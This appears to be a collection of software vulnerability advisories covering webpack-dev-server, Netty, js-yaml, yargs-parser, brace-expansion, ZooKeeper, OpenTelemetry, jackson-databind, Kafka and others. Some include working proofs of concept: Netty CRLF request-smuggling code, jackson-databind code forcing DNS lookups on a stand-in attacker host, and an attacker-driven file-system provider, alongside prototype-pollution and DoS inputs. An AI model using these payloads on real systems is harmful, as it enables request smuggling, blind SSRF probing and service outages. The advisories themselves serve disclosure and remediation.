### Impact An unauthenticated peer that can reach the `webpack-dev-server` process can terminate it by sending either a normal HTTP request with a malformed `Host` header, or a WebSocket upgrade to the default `/ws` endpoint with a malformed `Origin` header. The malformed header triggers an uncaught exception in the host-validation path and crashes the dev server process. ### Patches Fixed in `webpack-dev-server` 5.2.6 by treating malformed `Host` and `Origin` header values as invalid rather than throwing (see [PR #5699](https://github.com/webpack/webpack-dev-server/pull/5699)). ### Workarounds Keep the dev server bound to `localhost` (the default) and do not expose it to untrusted networks.
### Summary A memory leak can be caused in Netty's DNS codec by sending malicious DNS packets containing invalid domain names. Because the leak occurs incrementally per packet, sustained malicious requests will cause a gradual Denial of Service. ### Details Inside `io.netty.handler.codec.dns.AbstractDnsRecord`, the parsed domain name string is passed to `IDN.toASCII(name)`. If the domain name contains characters that violate IDNA rules, `IDN.toASCII` throws an `IllegalArgumentException`. Because this exception occurs inside the constructor before the `DnsRecord` instance can assign the buffer to its content field for later release, the ByteBuf whose reference count was incremented (or newly allocated) is never released, resulting in a direct memory leak. There are several places where variants of this leak happen: - `io.netty.handler.codec.dns.DefaultDnsRecordDecoder#decodeRecord(java.lang.String, io.netty.handler.codec.dns.DnsRecordType, int, long, io.netty.buffer.ByteBuf, int, int)` invokes `in.retainedDuplicate()` or creates a new buffer `out` when constructing `DefaultDnsRawRecord` - `io.netty.handler.codec.dns.DnsCodecUtil#decompressDomainName` allocates a new `ByteBuf` and passes it to `encodeDomainName()`. If the decompressed domain name contains a null byte (`\0`), `encodeDomainName()` throws an `IllegalArgumentException`, leaking the newly allocated buffer. ### Impact Resource Exhaustion. Any application utilizing Netty's DnsRecordDecoder (such as DnsNameResolver or custom DNS servers) is vulnerable.
### Impact In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. ### Patches Problem is patched in js-yaml 4.1.1 and 3.14.2. ### Workarounds You can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default). ### References https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
### Impact When a user-configured proxy on `webpack-dev-server` has a broad context (e.g. `/`) and `ws: true`, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and `Origin` header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket). ### Patches Fixed in `webpack-dev-server` 5.2.5. ### Workarounds Scope user-defined proxy `context` to specific paths instead of `/`, or omit `ws: true` from the proxy entry when WebSocket forwarding is not required.
Affected versions of `yargs-parser` are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects. Parsing the argument `--foo.__proto__.bar baz'` adds a `bar` property with value `baz` to all objects. This is only exploitable if attackers have control over the arguments being passed to `yargs-parser`. ## Recommendation Upgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.
### Summary Expanding `{a},b}`-shaped input takes time quadratic in the number of literal `}` characters, blocking the event loop. Bash preserves a quirk where a brace group followed by a comma set still expands (`{a},b}`). The parser implements this by rewriting the string and restarting the scan. Each pass absorbs exactly one `}` and re-scans from the beginning, so `n` trailing braces cost `n` full passes. ### Reproduction ```js const build = n => '{a}' + '}'.repeat(n) + ',z}' for (const n of [8000, 16000, 32000, 64000, 128000]) { const t = Date.now() expand(build(n)) console.log(n, Date.now() - t + 'ms') } ``` | n | input | time | results | |---|---|---|---| | 8,000 | 8 KB | 110 ms | 2 | | 16,000 | 16 KB | 446 ms | 2 | | 32,000 | 32 KB | 1.7 s | 2 | | 64,000 | 64 KB | 6.9 s | 2 | | 128,000 | 128 KB | **27.7 s** | 2 | `ms/n^2` is flat at ~1.7 and each doubling of `n` costs exactly 4.0x - quadratic. 128 KB of input blocks the event loop for nearly half a minute to produce two results. ### Mechanism Instrumenting the rewrite branch confirms it runs exactly `n + 1` times, once per literal `}`, each re-scanning the whole string. There is a second multiplier. The rewrite replaces the group's closing `}` with the internal `escClose` sentinel, which is `'\0CLOSE' + Math.random() + '\0'` - about 25 characters. The working string therefore *grows* by ~25 characters on every pass: | n | input length | final string length | |---|---|---| | 1,000 | 1,006 | 26,006 | | 8,000 | 8,006 | 208,006 | So the input is inflated roughly 26x, and that factor multiplies both the quadratic constant and peak memory. This makes it partly a memory-pressure issue as well as a CPU one. ### Why `max` and `maxLength` do not help The cost is in parsing, before the result set exists. The payload yields 2 results regardless of size, so neither bound is ever reached. ### Impact An application passing an untrusted pattern to `expand()`, directly or through `minimatch` / `glob`, can have its event loop blocked for tens of seconds by a payload well under minimatch's 65,536-character cap. For a single-threaded Node server that is a full stall, not just a slow request. Degraded availability rather than a crash - the process recovers once the expansion completes. ### Affected versions Verified affected on 1.1.18, 2.1.4, 3.0.6 and 5.0.9, all within a few percent of each other (~460-490 ms at n=16,000). ### Patch The rewrite loop gets an iteration bound. Past the cap the remaining string is treated as non-expanding and returned literally, consistent with the existing `max` / `maxLength` caps, which truncate rather than throw. Note this bounds the number of passes, not the cost of each: worst-case work remains proportional to `cap x input length`. The cap is set low enough that the residual is bounded in practice, and far above what any realistic `{a},b}` input needs. ### Severity note Scored 5.3 Medium (`A:L`) for consistency with GHSA-3jxr-9vmj-r5cp, the other algorithmic-complexity advisory on this package (CWE-407), which uses the same vector. The stack-exhaustion advisories on this package score `A:H` because they crash the process outright; this one stalls it.
Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue.
## Overview A vulnerability affects the baggage propagation implementation in `opentelemetry-api` and `opentelemetry-extension-trace-propagators`. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. ## Technical Details - `W3CBaggagePropagator` did not enforce any limit on the total size or entry count of the `baggage` header. The parser iterated character-by-character through the entire value regardless of length. - `JaegerPropagator` and `OtTracePropagator` had the same gap in their respective baggage extraction paths. - The W3C Baggage specification recommends a maximum of 8,192 bytes and 180 entries; none of these limits were enforced. ## Impact The practical availability impact for most deployments is limited. Every major Java HTTP server enforces its own header size limit (Tomcat, Jetty, Netty, Vert.x, and gRPC-Java all default to 8 KiB), constraining what an external attacker can deliver before the application is reached. The risk is higher when transport-layer limits are absent — e.g., a compromised internal service communicating over a non-HTTP or custom transport. ## Remediation Update to version 1.62.0 or later ([#8380](https://github.com/open-telemetry/opentelemetry-java/pull/8380)). The fix enforces limits consistent with the W3C Baggage specification at the propagator level: - Maximum total baggage size: 8,192 bytes across all `baggage` header values - Maximum number of entries: 64 Headers that would exceed either limit are dropped at the point the limit is reached; already-extracted valid entries are retained. ## Workarounds Ensure HTTP header size limits are configured at the server or gateway level. Most Java HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix. ## References - [W3C Baggage Specification §Limits](https://www.w3.org/TR/baggage/#limits)
### Summary Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests. In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side. ### Details The root issue is that URI validation exists only on the constructor path, but not on the public setter path. - `io.netty.handler.codec.http.DefaultHttpRequest` - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)` - `setUri(String uri)` only performs `checkNotNull` and does not validate - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `setUri(String uri)` delegates to the parent implementation - `io.netty.handler.codec.http.HttpRequestEncoder` - Writes `request.uri()` directly into the request line - `io.netty.handler.codec.rtsp.RtspEncoder` - Writes `request.uri()` directly into the request line This creates the following bypass: 1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI 2. Later, attacker-influenced input is passed into `setUri()` 3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim 4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API. ### PoC (HTTP) The following code first creates a normal request object and then injects a malicious request line using `setUri()`. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil; public final class HttpSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec()); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe"); request.setUri("/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retainedDuplicate()); Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); } outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } } ``` When reproduced, the raw encoded request looks like this: ```http GET /s1 HTTP/1.1 POST /s2 HTTP/1.1 content-length: 11 Hello WorldGET /s1 HTTP/1.1 ``` `HttpServerCodec` then parses this as multiple HTTP messages rather than a single request: - `GET /s1` - `POST /s2` with body `Hello World` - trailing `GET /s1` This confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests. ### PoC (RTSP) The same root cause also affects `RtspEncoder`. A minimal reproduction is shown below. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil; public final class RtspSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder()); DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media"); request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" + "OPTIONS rtsp://cam/final"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded RTSP request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by RtspDecoder ==="); server.writeInbound(outbound.retainedDuplicate()); } } ``` When reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload: ```text OPTIONS rtsp://cam/stream RTSP/1.0 CSeq: 1 DESCRIBE rtsp://cam/secret RTSP/1.0 CSeq: 2 OPTIONS rtsp://cam/final RTSP/1.0 ``` `RtspDecoder` then parses this as three separate RTSP requests: - `OPTIONS rtsp://cam/stream` - `DESCRIBE rtsp://cam/secret` - `OPTIONS rtsp://cam/final` This confirms that the same setter bypass is exploitable for RTSP request injection as well. ### Impact The vulnerable conditions are: - The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest` - The request object is created first and later modified through `setUri()` - The value passed into `setUri()` is attacker-controlled or attacker-influenced - The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder` Under those conditions, an attacker may be able to: - perform HTTP request smuggling - trigger proxy/backend desynchronization - inject additional requests toward internal APIs - confuse request boundaries and bypass assumptions around authentication or routing - inject RTSP requests The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible. ### Root Cause Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant. As a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation. ### Suggested Fix Direction `DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors. Recommended regression coverage: - verify that `setUri()` rejects CRLF-containing input after object construction - verify that `DefaultFullHttpRequest.setUri()` is blocked as well - verify that spaces, `\r`, `\n`, and request-smuggling payloads are rejected - verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses ### Affected Area - `netty-codec-http` - `io.netty.handler.codec.http.DefaultHttpRequest` - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `io.netty.handler.codec.http.HttpRequestEncoder` - `io.netty.handler.codec.rtsp.RtspEncoder`
### Summary CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of `java.net.InetSocketAddress` by switching to `InetSocketAddress.createUnresolved(...)` (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling `java.net.InetAddress` branch in the very same `FromStringDeserializer.Std._deserialize()` switch statement, which still calls `InetAddress.getByName(value)` and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through `InetAddress`. ### Details File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java Sibling cases in the same switch: - Line 357-358 (UNFIXED): case STD_INET_ADDRESS: return InetAddress.getByName(value); // eager forward DNS lookup - Line 359-381 + helper at 494-496 (FIXED by PR #5951): protected InetSocketAddress _inetSocketAddress(String host, int port) { // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup: return InetSocketAddress.createUnresolved(host, port); // no DNS } `InetAddress` is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an `InetAddress`-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches `InetAddress.getByName(attackerControlledString)`, which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation. The parent fix's own added unit test asserts `address.isUnresolved()` with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property. Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through `_inetSocketAddress -> createUnresolved`, while `InetAddress.getByName` is still emitted unchanged in the InetAddress branch. ### PoC Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8. A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host: ObjectMapper m = new ObjectMapper(); // InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class); // InetAddress (unpatched sibling): 1 resolver lookup on the attacker host m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class); Observed output (jackson 2.18.8): [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example A standalone variant (no SPI) using an RFC-6761 `.invalid` canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java. Reachability with a plain field (no annotations, no polymorphism, no default typing): static class Config { public InetAddress bindHost; public int port; } mapper.readValue("{\"bindHost\":\"poc-reach.example\",\"port\":1}", Config.class); // -> resolver invoked on "poc-reach.example" ### Impact An attacker who can influence JSON deserialized into an `InetAddress` target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket. Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation). Credit : Ta Duc Thien
Information exposure vulnerability has been identified in Apache Kafka. The NetworkClient component will output entire requests and responses information in the DEBUG log level in the logs. By default, the log level is set to INFO level. If the DEBUG level is enabled, the sensitive information will be exposed via the requests and responses output log. The entire lists of impacted requests and responses are: * AlterConfigsRequest * AlterUserScramCredentialsRequest * ExpireDelegationTokenRequest * IncrementalAlterConfigsRequest * RenewDelegationTokenRequest * SaslAuthenticateRequest * createDelegationTokenResponse * describeDelegationTokenResponse * SaslAuthenticateResponse This issue affects Apache Kafka: from any version supported the listed API above through v3.9.1, v4.0.0. Apache advises Kafka users to upgrade to v3.9.2, v4.0.1, or later to avoid this vulnerability.
### Summary A `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader<FileSystemProvider>` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`. Impact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern. ### Description `NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`): ```java int colonIx = value.indexOf(':'); if (colonIx < 0) { return Path.of(value); } ... final URI uri = new URI(value); // attacker-controlled URI string try { return Path.of(uri); // resolves scheme -> may load a FileSystemProvider } catch (FileSystemNotFoundException cause) { final String scheme = uri.getScheme(); for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) { if (provider.getScheme().equalsIgnoreCase(scheme)) { return provider.getPath(uri); // attacker scheme selects & drives a provider } } // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default) } ``` The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java` - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`). ## Proof of Concept Two PoCs are provided. > PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction. **PoC 1 — sink reached (built-in `jar` provider).** `com/poc/Vuln04_PathProvider.java`: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import java.nio.file.Path; /** * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via * Path.of(uri) / ServiceLoader<FileSystemProvider>. */ public class Vuln04_PathProvider { public static class Config { public Path workdir; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI. String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}"; System.out.println("Deserializing (default mapper): " + json); try { Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")"); System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue"); } catch (Throwable t) { System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage()); System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)"); } } } ``` **PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).** A third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. `com/poc/EvilFileSystemProvider.java`: ```java package com.poc; import java.nio.file.*; import java.nio.file.spi.FileSystemProvider; import java.nio.file.attribute.*; import java.net.URI; import java.io.IOException; import java.util.*; import java.util.Set; import java.nio.channels.SeekableByteChannel; /** * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real * application's classpath. Its static initializer and getPath() record that they executed, * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri) * inside jackson's readValue. */ public class EvilFileSystemProvider extends FileSystemProvider { public static volatile boolean STATIC_INIT_RAN = false; public static volatile String GET_PATH_URI = null; static { STATIC_INIT_RAN = true; } @Override public String getScheme() { return "evilscheme"; } @Override public Path getPath(URI uri) { GET_PATH_URI = uri.toString(); System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri); // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc. return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker"); } // --- remaining abstract methods: minimal stubs --- @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); } @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); } @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); } @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); } @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); } @Override public void delete(Path p) { throw new UnsupportedOperationException(); } @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public boolean isSameFile(Path p, Path p2) { return false; } @Override public boolean isHidden(Path p) { return false; } @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); } @Override public void checkAccess(Path p, AccessMode... m) { } @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; } @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { } } ``` Registration descriptor — `src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`: ``` com.poc.EvilFileSystemProvider ``` Driver — `com/poc/Vuln04b_PathProviderMount.java`: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; /** * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to * (1) load the provider class (running its static initializer) and (2) invoke * provider.getPath(attackerUri) -- all inside readValue, with NO application code. */ public class Vuln04b_PathProviderMount { public static class Config { public java.nio.file.Path workdir; } public static void main(String[] args) throws Exception { System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN); ObjectMapper mapper = JsonMapper.builder().build(); // default config String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}"; System.out.println("Deserializing (default mapper): " + json); Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir); System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN); System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI); boolean ok = EvilFileSystemProvider.GET_PATH_URI != null && EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled"); System.out.println(ok ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)" : "RESULT: NOT reproduced"); } } ``` ## Execution Steps The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath ```bash # 0. Locate the three published dependency jars. M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" # 1. Compile the three sources. cd poc-project mkdir -p out javac -cp "$CP" -d out \ src/main/java/com/poc/EvilFileSystemProvider.java \ src/main/java/com/poc/Vuln04_PathProvider.java \ src/main/java/com/poc/Vuln04b_PathProviderMount.java # 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2). mkdir -p out/META-INF/services cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \ out/META-INF/services/java.nio.file.spi.FileSystemProvider # 3. Run both PoCs. java -cp "out:$CP" com.poc.Vuln04_PathProvider # PoC 1 java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount # PoC 2 ``` ## Reproduction Evidence Executed against jackson-databind 3.2.1 (OpenJDK 25). **PoC 1 :** ``` Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"} Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException` at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"]) RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue) ``` Notes: the JDK **built-in** `jar` provider's `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism. **PoC 2 :** ``` Provider static-init ran before deserialization? true Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"} >>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1 Resolved Path = /var/folders/.../T/evilprovider-marker Provider static-init ran: true Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1 RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven) ``` Purely from a JSON string, jackson's `ServiceLoader` fallback selected the attacker-named scheme's provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs. ## Impact Untrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the scheme-restriction gap. ## Recommended Fix 1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface. 2. **Skip the `ServiceLoader<FileSystemProvider>` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider. 3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.
Versions of `mem` prior to 4.0.0 are vulnerable to Denial of Service (DoS). The package fails to remove old values from the cache even after a value passes its `maxAge` property. This may allow attackers to exhaust the system's memory if they are able to abuse the application logging. ## Recommendation Upgrade to version 4.0.0 or later.
The parse_str function in (1) PHP, (2) Hardened-PHP, and (3) Suhosin, when called without a second parameter, might allow remote attackers to overwrite arbitrary variables by specifying variable names and values in the string to be parsed. NOTE: it is not clear whether this is a design limitation of the function or a bug in PHP, although it is likely to be regarded as a bug in Hardened-PHP and Suhosin.
### Impact @adobe/css-tools version 4.3.1 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS. ### Patches The issue has been resolved in 4.3.2. ### Workarounds None ### References N/A
Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow an authenticated user with snapshot restore privileges to cause Excessive Allocation (CAPEC-130) of memory and a denial of service (DoS) via crafted HTTP request.
A flaw was found in Keycloak. An administrator with `manage-users` permission can bypass the "Only administrators can view" setting for unmanaged attributes, allowing them to modify these attributes. This improper access control can lead to unauthorized changes to user profiles, even when the system is configured to restrict such modifications.
